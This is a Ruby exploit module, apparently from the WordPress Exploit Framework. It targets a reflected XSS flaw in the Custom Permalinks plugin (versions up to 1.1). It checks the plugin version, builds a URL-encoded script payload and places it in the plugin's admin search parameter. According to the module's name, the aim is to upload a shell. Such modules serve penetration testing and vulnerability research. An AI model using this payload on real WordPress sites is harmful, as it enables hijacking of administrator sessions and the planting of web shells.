# frozen_string_literal: true

class Wpxf::Exploit::CustomPermalinksReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'Custom Permalinks <= 1.1 Reflected XSS Shell Upload',
      author: [
        'Karim El Ouerghemmi', # Dislosure
        'rastating'            # WPXF module
      ],
      references: [
        ['WPVDB', '9030']
      ],
      date: 'Feb 22 2018'
    )
  end

  def check
    check_plugin_version_from_readme('custom-permalinks', '1.2')
  end

  def xss_payload
    url_encode("<script>#{xss_ascii_encoded_include_script}</script>")
  end

  def url_with_xss
    "#{wordpress_url_admin_options}?page=custom-permalinks-post-permalinks&s=#{xss_payload}"
  end
end
